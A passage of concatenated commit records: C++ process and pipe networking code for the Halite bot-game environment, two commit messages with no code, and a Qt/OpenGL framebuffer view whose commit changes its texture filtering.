	siStartInfo.dwFlags |= STARTF_USESTDHANDLES;

	//C:/xampp/htdocs/Halite/Halite/Debug/ExampleBot.exe
	//C:/Users/Michael/Anaconda3/python.exe
	//C:/Program Files/Java/jre7/bin/java.exe -cp C:/xampp/htdocs/Halite/AIResources/Java MyBot
	bool success = CreateProcess(
		"C:\\windows\\system32\\cmd.exe",
		LPSTR(command.c_str()),     //command line
		NULL,          //process security attributes
		NULL,          //primary thread security attributes
		TRUE,          //handles are inherited
		0,             //creation flags
		NULL,          //use parent's environment
		NULL,          //use parent's current directory
		&siStartInfo,  //STARTUPINFO pointer
		&piProcInfo
	);  //receives PROCESS_INFORMATION
	if(!success) {
		if(!program_output_style) std::cout << "Could not start process\n";
		throw 1;
	}
	else {
		CloseHandle(piProcInfo.hProcess);
		CloseHandle(piProcInfo.hThread);

		processes.push_back(piProcInfo.hProcess);
		connections.push_back(parentConnection);
	}
#else
	if(!program_output_style) std::cout << command << "\n";

	pid_t pid = NULL;
	int writePipe[2];
	int readPipe[2];

	if(pipe(writePipe)) {
		if(!program_output_style) std::cout << "Error creating pipe\n";
		throw 1;
	}
	if(pipe(readPipe)) {
		if(!program_output_style) std::cout << "Error creating pipe\n";
		throw 1;
	}

	//Fork a child process
	pid = fork();
	if(pid == 0) { //This is the child
		setpgid(getpid(), getpid());

		dup2(writePipe[0], STDIN_FILENO);

		dup2(readPipe[1], STDOUT_FILENO);
		dup2(readPipe[1], STDERR_FILENO);

		execl("/bin/sh", "sh", "-c", command.c_str(), (char*) NULL);

		//Nothing past the execl should be run

		exit(1);
	} else if(pid < 0) {
		if(!program_output_style) std::cout << "Fork failed\n";
		throw 1;
	}

	UniConnection connection;
	connection.read = readPipe[0];
	connection.write = writePipe[1];

	connections.push_back(connection);
	processes.push_back(pid);

#endif

	playerLogs.push_back(std::vector<std::string>(0));
}

bool Networking::handleInitNetworking(unsigned int timeoutMillis, unsigned char playerTag, const hlt::Map & m, std::string * playerName) {
	try{
		std::string playerTagString = std::to_string(playerTag), mapSizeString = serializeMapSize(m), mapString = serializeMap(m), prodString = serializeProductions(m);
		sendString(playerTag, playerTagString);
		sendString(playerTag, mapSizeString);
		sendString(playerTag, prodString);
		sendString(playerTag, mapString);
		std::string outMessage = "Init Message sent to player " + std::to_string(int(playerTag)) + ".\n";
		if(!program_output_style) std::cout << outMessage;

		*playerName = getString(playerTag, timeoutMillis);
		std::string inMessage = "Init Message received from player " + std::to_string(int(playerTag)) + ", " + *playerName + ".\n";
		if(!program_output_style) std::cout << inMessage;

		return true;
	}
	catch (int e) {
		return false;
	}
}

unsigned int Networking::handleFrameNetworking(unsigned int timeoutMillis, unsigned char playerTag, const hlt::Map & m, std::set<hlt::Move> * moves) {
	try{
		if (isProcessDead(playerTag)) return false;

		//Send this bot the game map and the messages addressed to this bot
		std::string mapString = serializeMap(m);
		sendString(playerTag, mapString);

		moves->clear();

		clock_t initialTime = clock();
		std::string movesString = getString(playerTag, timeoutMillis);
		unsigned  millisTaken = ((clock() - initialTime) * 1000 / CLOCKS_PER_SEC);

		*moves = deserializeMoveSet(movesString);

		return millisTaken;
	}
	catch (int e) {
		return timeoutMillis+1;

	}

}

void Networking::killPlayer(unsigned char playerTag) {
	if (isProcessDead(playerTag)) return;
	#ifdef _WIN32

	HANDLE process = processes[playerTag - 1];

	TerminateProcess(process, 0);

	processes[playerTag - 1] = NULL;
	connections[playerTag - 1].read = NULL;
	connections[playerTag - 1].write = NULL;

	if(!program_output_style) std::cout << "Player " << int(playerTag) << " is dead\n";
	#else
	kill(-processes[playerTag - 1], SIGKILL);

	processes[playerTag - 1] = -1;
	connections[playerTag - 1].read = -1;
	connections[playerTag - 1].write = -1;
	#endif
}

bool Networking::isProcessDead(unsigned char playerTag) {
	#ifdef _WIN32
	return processes[playerTag - 1] == NULL;
	#else
	return processes[playerTag - 1] == -1;
	#endif
}

int Networking::numberOfPlayers() {
	#ifdef _WIN32
	return connections.size();
	#else
	return connections.size();
	#endif
}
<commit_msg>Made environment less vulnerable via pipes<commit_after>#include "Networking.hpp"

#include <time.h>
#include <fstream>
#include <sstream>
#include <algorithm>
#include <stdio.h>
#include <chrono>
#include <thread>
#include <mutex>

std::mutex coutMutex;

std::string serializeMapSize(const hlt::Map & map) {
	std::string returnString = "";
	std::ostringstream oss;
	oss << map.map_width << ' ' << map.map_height << ' ';
	returnString = oss.str();
	return returnString;
}

std::string serializeProductions(const hlt::Map & map) {
	std::string returnString = "";
	std::ostringstream oss;
	for(auto a = map.contents.begin(); a != map.contents.end(); a++) {
		for(auto b = a->begin(); b != a->end(); b++) {
			oss << (unsigned short)(b->production) << ' ';
		}
	}
	returnString = oss.str();
	return returnString;
}

std::string Networking::serializeMap(const hlt::Map & map) {
	std::string returnString = "";
	std::ostringstream oss;

	//Run-length encode of owners
	unsigned short currentOwner = map.contents[0][0].owner;
	unsigned short counter = 0;
	for(int a = 0; a < map.contents.size(); ++a) {
		for(int b = 0; b < map.contents[a].size(); ++b) {
			if (map.contents[a][b].owner == currentOwner) {
				counter++;
			}
			else {
				oss << (unsigned short)counter << ' ' << (unsigned short)currentOwner << ' ';
				counter = 1;
				currentOwner = map.contents[a][b].owner;
			}
		}
	}
	//Place the last run into the string
	oss << (unsigned short)counter << ' ' << (unsigned short)currentOwner << ' ';

	//Encoding of ages
	for(int a = 0; a < map.contents.size(); ++a) {
		for(int b = 0; b < map.contents[a].size(); ++b) {
			oss << (unsigned short)map.contents[a][b].strength << ' ';
		}
	}

	returnString = oss.str();

	return returnString;
}

std::set<hlt::Move> Networking::deserializeMoveSet(std::string & inputString) {
	std::set<hlt::Move> moves = std::set<hlt::Move>();

	std::stringstream iss(inputString);
	hlt::Location l;
	int d;
	while (iss >> l.x >> l.y >> d) moves.insert({ l, (unsigned char)d });

	return moves;
}

void Networking::sendString(unsigned char playerTag, std::string &sendString) {
	//End message with newline character
	sendString += '\n';

	#ifdef _WIN32
	WinConnection connection = connections[playerTag - 1];

	DWORD charsWritten;
	bool success;
	success = WriteFile(connection.write, sendString.c_str(), sendString.length(), &charsWritten, NULL);
	if (!success || charsWritten == 0) {
		if(!program_output_style) std::cout << "Problem writing to pipe\n";
		throw 1;
	}
	#else
	UniConnection connection = connections[playerTag - 1];
	ssize_t charsWritten = write(connection.write, sendString.c_str(), sendString.length());
	if(charsWritten < sendString.length()) {
		if(!program_output_style) std::cout << "Problem writing to pipe\n";
		throw 1;
	}
	#endif
}

std::string Networking::getString(unsigned char playerTag, unsigned int timeoutMillis) {
	srand(time(NULL));

	std::string newString;
#ifdef _WIN32
	WinConnection connection = connections[playerTag - 1];

	DWORD charsRead;
	bool success;
	char buffer;

	//Keep reading char by char until a newline
	while (true) {
		//Check to see that there are bytes in the pipe before reading
		//Throw error if no bytes in alloted time
		//Check for bytes before sampling clock, because reduces latency (vast majority the pipe is alread full)
		DWORD bytesAvailable = 0;
		PeekNamedPipe(connection.read, NULL, 0, NULL, &bytesAvailable, NULL);
		if (bytesAvailable < 1) {
			clock_t initialTime = clock();
			while (bytesAvailable < 1) {
				if (((clock() - initialTime) * 1000 / CLOCKS_PER_SEC) > timeoutMillis) throw 1;
				PeekNamedPipe(connection.read, NULL, 0, NULL, &bytesAvailable, NULL);
			}
		}

		success = ReadFile(connection.read, &buffer, 1, &charsRead, NULL);
		if (!success || charsRead < 1) {
			if(!program_output_style) std::cout << "Pipe probably timed out\n";
			throw 1;
		}
		if (buffer == '\n') break;
		else newString += buffer;
	}
#else
	UniConnection connection = connections[playerTag - 1];

	fd_set set;
	FD_ZERO(&set); /* clear the set */
	FD_SET(connection.read, &set); /* add our file descriptor to the set */

	struct timeval timeout;
	timeout.tv_sec = timeoutMillis / 1000.0;
	timeout.tv_usec = (timeoutMillis % 1000)*1000;

	char buffer;

	//Keep reading char by char until a newline
	while(true) {
		//Check if there are bytes in the pipe
		int selectionResult = select(connection.read+1, &set, NULL, NULL, &timeout);

		if(selectionResult > 0) {
			read(connection.read, &buffer, 1);

			if (buffer == '\n') break;
			else newString += buffer;
		} else {
			if(!program_output_style) {
				// Buffer error message output
				// If a bunch of bots fail at onces, we dont want to be writing to cout at the same time
				// That looks really weird
				std::string errorMessage = "";
				errorMessage += std::string("Unix bot timeout or error ") + std::to_string(selectionResult) + std::string("\n");

				playerLogs[playerTag-1].push_back(newString);
				errorMessage += "#---------ALL OF THE OUTPUT OF THE BOT THAT TIMED OUT----------#\n";
				for(auto stringIter = playerLogs[playerTag-1].begin(); stringIter != playerLogs[playerTag-1].end(); stringIter++) {
					while(stringIter->size() < 60) stringIter->push_back(' ');
					errorMessage += "# " + *stringIter + " #\n";
				}
				errorMessage += "#--------------------------------------------------------------#\n";

				std::lock_guard<std::mutex> guard(coutMutex);
				std::cout << errorMessage;
			}
			throw 1;
		}
	}
#endif
	//Python turns \n into \r\n
	if (newString.at(newString.size() - 1) == '\r') newString.pop_back();

	playerLogs[playerTag-1].push_back(newString);

	return newString;
}

void Networking::startAndConnectBot(std::string command) {
#ifdef _WIN32
	command = "/C " + command;

	WinConnection parentConnection, childConnection;

	SECURITY_ATTRIBUTES saAttr;
	saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
	saAttr.bInheritHandle = TRUE;
	saAttr.lpSecurityDescriptor = NULL;

	//Child stdout pipe
	if (!CreatePipe(&parentConnection.read, &childConnection.write, &saAttr, 0)) {
		if(!program_output_style) std::cout << "Could not create pipe\n";
		throw 1;
	}
	if (!SetHandleInformation(parentConnection.read, HANDLE_FLAG_INHERIT, 0)) throw 1;

	//Child stdin pipe
	if (!CreatePipe(&childConnection.read, &parentConnection.write, &saAttr, 0)) {
		if(!program_output_style) std::cout << "Could not create pipe\n";
		throw 1;
	}
	if (!SetHandleInformation(parentConnection.write, HANDLE_FLAG_INHERIT, 0)) throw 1;

	//MAKE SURE THIS MEMORY IS ERASED
	PROCESS_INFORMATION piProcInfo;
	ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION));

	STARTUPINFO siStartInfo;
	ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
	siStartInfo.cb = sizeof(STARTUPINFO);
	siStartInfo.hStdError = childConnection.write;
	siStartInfo.hStdOutput = childConnection.write;
	siStartInfo.hStdInput = childConnection.read;
	siStartInfo.dwFlags |= STARTF_USESTDHANDLES;

	//C:/xampp/htdocs/Halite/Halite/Debug/ExampleBot.exe
	//C:/Users/Michael/Anaconda3/python.exe
	//C:/Program Files/Java/jre7/bin/java.exe -cp C:/xampp/htdocs/Halite/AIResources/Java MyBot
	bool success = CreateProcess(
		"C:\\windows\\system32\\cmd.exe",
		LPSTR(command.c_str()),     //command line
		NULL,          //process security attributes
		NULL,          //primary thread security attributes
		TRUE,          //handles are inherited
		0,             //creation flags
		NULL,          //use parent's environment
		NULL,          //use parent's current directory
		&siStartInfo,  //STARTUPINFO pointer
		&piProcInfo
	);  //receives PROCESS_INFORMATION
	if(!success) {
		if(!program_output_style) std::cout << "Could not start process\n";
		throw 1;
	}
	else {
		CloseHandle(piProcInfo.hProcess);
		CloseHandle(piProcInfo.hThread);

		processes.push_back(piProcInfo.hProcess);
		connections.push_back(parentConnection);
	}
#else
	if(!program_output_style) std::cout << command << "\n";

	pid_t pid = NULL;
	int writePipe[2];
	int readPipe[2];

	if(pipe(writePipe)) {
		if(!program_output_style) std::cout << "Error creating pipe\n";
		throw 1;
	}
	if(pipe(readPipe)) {
		if(!program_output_style) std::cout << "Error creating pipe\n";
		throw 1;
	}

	//Fork a child process
	pid = fork();
	if(pid == 0) { //This is the child
		setpgid(getpid(), getpid());

		dup2(writePipe[0], STDIN_FILENO);

		dup2(readPipe[1], STDOUT_FILENO);
		dup2(readPipe[1], STDERR_FILENO);

		execl("/bin/sh", "sh", "-c", command.c_str(), (char*) NULL);

		//Nothing past the execl should be run

		exit(1);
	} else if(pid < 0) {
		if(!program_output_style) std::cout << "Fork failed\n";
		throw 1;
	}

	UniConnection connection;
	connection.read = readPipe[0];
	connection.write = writePipe[1];

	connections.push_back(connection);
	processes.push_back(pid);

#endif

	playerLogs.push_back(std::vector<std::string>(0));
}

bool Networking::handleInitNetworking(unsigned int timeoutMillis, unsigned char playerTag, const hlt::Map & m, std::string * playerName) {
	try{
		std::string playerTagString = std::to_string(playerTag), mapSizeString = serializeMapSize(m), mapString = serializeMap(m), prodString = serializeProductions(m);
		sendString(playerTag, playerTagString);
		sendString(playerTag, mapSizeString);
		sendString(playerTag, prodString);
		sendString(playerTag, mapString);
		std::string outMessage = "Init Message sent to player " + std::to_string(int(playerTag)) + ".\n";
		if(!program_output_style) std::cout << outMessage;

		*playerName = getString(playerTag, timeoutMillis);
		std::string inMessage = "Init Message received from player " + std::to_string(int(playerTag)) + ", " + *playerName + ".\n";
		if(!program_output_style) std::cout << inMessage;

		return true;
	}
	catch(...) {
		*playerName = "Bot #" + std::to_string(playerTag) + "; timed out during Init";
		return false;
	}
}

unsigned int Networking::handleFrameNetworking(unsigned int timeoutMillis, unsigned char playerTag, const hlt::Map & m, std::set<hlt::Move> * moves) {
	try{
		if (isProcessDead(playerTag)) return false;

		//Send this bot the game map and the messages addressed to this bot
		std::string mapString = serializeMap(m);
		sendString(playerTag, mapString);

		moves->clear();

		clock_t initialTime = clock();
		std::string movesString = getString(playerTag, timeoutMillis);
		unsigned  millisTaken = ((clock() - initialTime) * 1000 / CLOCKS_PER_SEC);

		*moves = deserializeMoveSet(movesString);

		return millisTaken;
	}
	catch(...) {
		*moves = std::set<Move>();
		return timeoutMillis+1;

	}

}

void Networking::killPlayer(unsigned char playerTag) {
	if (isProcessDead(playerTag)) return;
	#ifdef _WIN32

	HANDLE process = processes[playerTag - 1];

	TerminateProcess(process, 0);

	processes[playerTag - 1] = NULL;
	connections[playerTag - 1].read = NULL;
	connections[playerTag - 1].write = NULL;

	if(!program_output_style) std::cout << "Player " << int(playerTag) << " is dead\n";
	#else
	kill(-processes[playerTag - 1], SIGKILL);

	processes[playerTag - 1] = -1;
	connections[playerTag - 1].read = -1;
	connections[playerTag - 1].write = -1;
	#endif
}

bool Networking::isProcessDead(unsigned char playerTag) {
	#ifdef _WIN32
	return processes[playerTag - 1] == NULL;
	#else
	return processes[playerTag - 1] == -1;
	#endif
}

int Networking::numberOfPlayers() {
	#ifdef _WIN32
	return connections.size();
	#else
	return connections.size();
	#endif
}
<|endoftext|>


<commit_before><commit_msg>fdo#81286 : Instant updates in SUM/AVERAGE in status bar<commit_after><|endoftext|>


<commit_before><commit_msg>support plain database range (table) names in INDIRECT<commit_after><|endoftext|>


<commit_before>/*
 * This file is part of Clockwork.
 * https://github.com/othieno/clockwork.
 *
 * Copyright (c) 2013-2016 Jeremy Othieno.
 *
 * The MIT License (MIT)
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */
#include "FramebufferView.hh"
#include "Framebuffer.hh"
#include "Service.hh"
#include <QSGGeometryNode>
#include <QOpenGLFunctions>

using clockwork::FramebufferView;

FramebufferView::FramebufferView(QQuickItem* const parent) :
QQuickItem(parent) {
	// Indicate that this object should be rendered by the scene graph.
	setFlag(QQuickItem::ItemHasContents);
}

QSGNode*
FramebufferView::updatePaintNode(QSGNode* const oldNode, UpdatePaintNodeData*) {
	QSGGeometryNode* node = static_cast<QSGGeometryNode*>(oldNode);
	if (node == nullptr) {
		node = new QSGGeometryNode;
		node->setGeometry(&geometry_);
		node->setMaterial(MaterialShader::createMaterial(texture_));
		node->setFlag(QSGNode::OwnsMaterial);
	}
	geometry_.update(boundingRect().toRect());
	texture_.updateTexture();

	node->markDirty(QSGNode::DirtyGeometry);

	return node;
}

FramebufferView::Texture::Texture() :
cpuRenderTarget_(nullptr),
gpuRenderTarget_(QOpenGLTexture::Target2D) {}

void
FramebufferView::Texture::bind() {
	gpuRenderTarget_.bind();
}

bool
FramebufferView::Texture::hasAlphaChannel() const {
	return true;
}

bool
FramebufferView::Texture::hasMipmaps() const {
	return false;
}

int
FramebufferView::Texture::textureId() const {
	return gpuRenderTarget_.textureId();
}

QSize
FramebufferView::Texture::textureSize() const {
	return QSize(gpuRenderTarget_.width(), gpuRenderTarget_.height());
}

bool
FramebufferView::Texture::updateTexture() {
	if (gpuRenderTarget_.isCreated()) {
		gpuRenderTarget_.setData(QOpenGLTexture::RGBA, QOpenGLTexture::UInt32_RGBA8, cpuRenderTarget_);
		return true;
	}
	return false;
}

void
FramebufferView::Texture::setClientSideRenderTarget(const void* target) {
	cpuRenderTarget_ = target;
}

void
FramebufferView::Texture::resize(const QSize& size) {
	if (gpuRenderTarget_.isCreated()) {
		gpuRenderTarget_.destroy();
	}
	gpuRenderTarget_.setSize(size.width(), size.height());
	gpuRenderTarget_.setAutoMipMapGenerationEnabled(false);
	gpuRenderTarget_.setFormat(QOpenGLTexture::RGBA8_UNorm);
	gpuRenderTarget_.setMipLevels(0);
	gpuRenderTarget_.setWrapMode(QOpenGLTexture::ClampToEdge);
	gpuRenderTarget_.setMinMagFilters(QOpenGLTexture::Linear, QOpenGLTexture::Linear);
	gpuRenderTarget_.allocateStorage();
}

bool
FramebufferView::Texture::isCreated() const {
	return gpuRenderTarget_.isCreated();
}

void
FramebufferView::Texture::destroy() {
	if (gpuRenderTarget_.isCreated()) {
		gpuRenderTarget_.destroy();
	}
}

FramebufferView::Geometry::Geometry() :
QSGGeometry(QSGGeometry::defaultAttributes_TexturedPoint2D(), 4) {}

void
FramebufferView::Geometry::update(const QRectF& rect) {
	QSGGeometry::updateTexturedRectGeometry(this, rect, QRectF(0.0, 0.0, 1.0, 1.0));
}

FramebufferView::MaterialState::MaterialState() :
texture(nullptr) {}

FramebufferView::MaterialState::~MaterialState() {
	if (texture != nullptr && texture->isCreated()) {
		texture->destroy();
		texture = nullptr;
	}
}

FramebufferView::Material*
FramebufferView::MaterialShader::createMaterial(FramebufferView::Texture& texture) {
	Material* const material = createMaterial();
	material->state()->texture = &texture;

	if (!texture.isCreated()) {
		const auto& framebuffer = Service::Graphics.getFramebuffer();
		const auto& onFramebufferResized = [&texture, &framebuffer](const QSize& size) {
			texture.resize(size);
			texture.setClientSideRenderTarget(framebuffer.getPixelBuffer());
		};
		connect(&framebuffer, &Framebuffer::resized, onFramebufferResized);
		onFramebufferResized(framebuffer.getResolutionSize());
	}

	return material;
}

QList<QByteArray>
FramebufferView::MaterialShader::attributes() const {
	return {"position", "uv"};
}

const char*
FramebufferView::MaterialShader::vertexShader() const {
	return
	"uniform highp mat4 qt_Matrix;\n"
	"attribute highp vec4 position;\n"
	"attribute highp vec2 uv;\n"
	"varying highp vec2 texCoord;\n"
	"void main() {\n"
		"gl_Position = qt_Matrix * position;\n"
		"texCoord = uv;\n"
	"}";
}

const char*
FramebufferView::MaterialShader::fragmentShader() const {
	// This is a very basic fragment shader except for one simple quirk:
	// The color buffer's pixels are in a 32-bit ARGB format however when
	// they are uploaded to the GPU render target, they are assumed to be
	// in RGBA format which is not the case. This means that the texel's
	// color channels are mismatched like so:
	// Expected format | Actual format
	//               R | A
	//               G | R
	//               B | G
	//               A | B
	// So Red actually contains the Alpha channel, Green contains Red, etc.
	// The solution is to simply swizzle the texel to GBAR.
	return
	"uniform lowp sampler2D texture;\n"
	"uniform lowp float qt_Opacity;\n"
	"varying highp vec2 texCoord;\n"
	"void main() {\n"
		"gl_FragColor = texture2D(texture, texCoord).gbar * qt_Opacity;\n"
	"}";
}

void
FramebufferView::MaterialShader::updateState(const MaterialState* state, const MaterialState*)
{
	if (program()->bind()) {
		QOpenGLFunctions* const f = QOpenGLContext::currentContext()->functions();
		f->glActiveTexture(GL_TEXTURE0);

		state->texture->bind();
	}
}

void
FramebufferView::MaterialShader::resolveUniforms()
{
	auto* const p = program();
	if (p->bind()) {
		p->setUniformValue("texture", 0);
	}
}
<commit_msg>Change the texture filtering algorithm used by the GPU render target<commit_after>/*
 * This file is part of Clockwork.
 * https://github.com/othieno/clockwork.
 *
 * Copyright (c) 2013-2016 Jeremy Othieno.
 *
 * The MIT License (MIT)
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */
#include "FramebufferView.hh"
#include "Framebuffer.hh"
#include "Service.hh"
#include <QSGGeometryNode>
#include <QOpenGLFunctions>

using clockwork::FramebufferView;

FramebufferView::FramebufferView(QQuickItem* const parent) :
QQuickItem(parent) {
	// Indicate that this object should be rendered by the scene graph.
	setFlag(QQuickItem::ItemHasContents);
}

QSGNode*
FramebufferView::updatePaintNode(QSGNode* const oldNode, UpdatePaintNodeData*) {
	QSGGeometryNode* node = static_cast<QSGGeometryNode*>(oldNode);
	if (node == nullptr) {
		node = new QSGGeometryNode;
		node->setGeometry(&geometry_);
		node->setMaterial(MaterialShader::createMaterial(texture_));
		node->setFlag(QSGNode::OwnsMaterial);
	}
	geometry_.update(boundingRect().toRect());
	texture_.updateTexture();

	node->markDirty(QSGNode::DirtyGeometry);

	return node;
}

FramebufferView::Texture::Texture() :
cpuRenderTarget_(nullptr),
gpuRenderTarget_(QOpenGLTexture::Target2D) {}

void
FramebufferView::Texture::bind() {
	gpuRenderTarget_.bind();
}

bool
FramebufferView::Texture::hasAlphaChannel() const {
	return true;
}

bool
FramebufferView::Texture::hasMipmaps() const {
	return false;
}

int
FramebufferView::Texture::textureId() const {
	return gpuRenderTarget_.textureId();
}

QSize
FramebufferView::Texture::textureSize() const {
	return QSize(gpuRenderTarget_.width(), gpuRenderTarget_.height());
}

bool
FramebufferView::Texture::updateTexture() {
	if (gpuRenderTarget_.isCreated()) {
		gpuRenderTarget_.setData(QOpenGLTexture::RGBA, QOpenGLTexture::UInt32_RGBA8, cpuRenderTarget_);
		return true;
	}
	return false;
}

void
FramebufferView::Texture::setClientSideRenderTarget(const void* target) {
	cpuRenderTarget_ = target;
}

void
FramebufferView::Texture::resize(const QSize& size) {
	if (gpuRenderTarget_.isCreated()) {
		gpuRenderTarget_.destroy();
	}
	gpuRenderTarget_.setSize(size.width(), size.height());
	gpuRenderTarget_.setAutoMipMapGenerationEnabled(false);
	gpuRenderTarget_.setFormat(QOpenGLTexture::RGBA8_UNorm);
	gpuRenderTarget_.setMipLevels(0);
	gpuRenderTarget_.setWrapMode(QOpenGLTexture::ClampToEdge);
	gpuRenderTarget_.setMinMagFilters(QOpenGLTexture::Nearest, QOpenGLTexture::Nearest);
	gpuRenderTarget_.allocateStorage();
}

bool
FramebufferView::Texture::isCreated() const {
	return gpuRenderTarget_.isCreated();
}

void
FramebufferView::Texture::destroy() {
	if (gpuRenderTarget_.isCreated()) {
		gpuRenderTarget_.destroy();
	}
}

FramebufferView::Geometry::Geometry() :
QSGGeometry(QSGGeometry::defaultAttributes_TexturedPoint2D(), 4) {}

void
FramebufferView::Geometry::update(const QRectF& rect) {
	QSGGeometry::updateTexturedRectGeometry(this, rect, QRectF(0.0, 0.0, 1.0, 1.0));
}

FramebufferView::MaterialState::MaterialState() :
texture(nullptr) {}

FramebufferView::MaterialState::~MaterialState() {
	if (texture != nullptr && texture->isCreated()) {
		texture->destroy();
		texture = nullptr;
	}
}

FramebufferView::Material*
FramebufferView::MaterialShader::createMaterial(FramebufferView::Texture& texture) {
	Material* const material = createMaterial();
	material->state()->texture = &texture;

	if (!texture.isCreated()) {
		const auto& framebuffer = Service::Graphics.getFramebuffer();
		const auto& onFramebufferResized = [&texture, &framebuffer](const QSize& size) {
			texture.resize(size);
			texture.setClientSideRenderTarget(framebuffer.getPixelBuffer());
		};
		connect(&framebuffer, &Framebuffer::resized, onFramebufferResized);
		onFramebufferResized(framebuffer.getResolutionSize());
	}

	return material;
}

QList<QByteArray>
FramebufferView::MaterialShader::attributes() const {
	return {"position", "uv"};
}

const char*
FramebufferView::MaterialShader::vertexShader() const {
	return
	"uniform highp mat4 qt_Matrix;\n"
	"attribute highp vec4 position;\n"
	"attribute highp vec2 uv;\n"
	"varying highp vec2 texCoord;\n"
	"void main() {\n"
		"gl_Position = qt_Matrix * position;\n"
		"texCoord = uv;\n"
	"}";
}

const char*
FramebufferView::MaterialShader::fragmentShader() const {
	// This is a very basic fragment shader except for one simple quirk:
	// The color buffer's pixels are in a 32-bit ARGB format however when
	// they are uploaded to the GPU render target, they are assumed to be
	// in RGBA format which is not the case. This means that the texel's
	// color channels are mismatched like so:
	// Expected format | Actual format
	//               R | A
	//               G | R
	//               B | G
	//               A | B
	// So Red actually contains the Alpha channel, Green contains Red, etc.
	// The solution is to simply swizzle the texel to GBAR.
	return
	"uniform lowp sampler2D texture;\n"
	"uniform lowp float qt_Opacity;\n"
	"varying highp vec2 texCoord;\n"
	"void main() {\n"
		"gl_FragColor = texture2D(texture, texCoord).gbar * qt_Opacity;\n"
	"}";
}

void
FramebufferView::MaterialShader::updateState(const MaterialState* state, const MaterialState*)
{
	if (program()->bind()) {
		QOpenGLFunctions* const f = QOpenGLContext::currentContext()->functions();
		f->glActiveTexture(GL_TEXTURE0);

		state->texture->bind();
	}
}

void
FramebufferView::MaterialShader::resolveUniforms()
{
	auto* const p = program();
	if (p->bind()) {
		p->setUniformValue("texture", 0);
	}
}
<|endoftext|>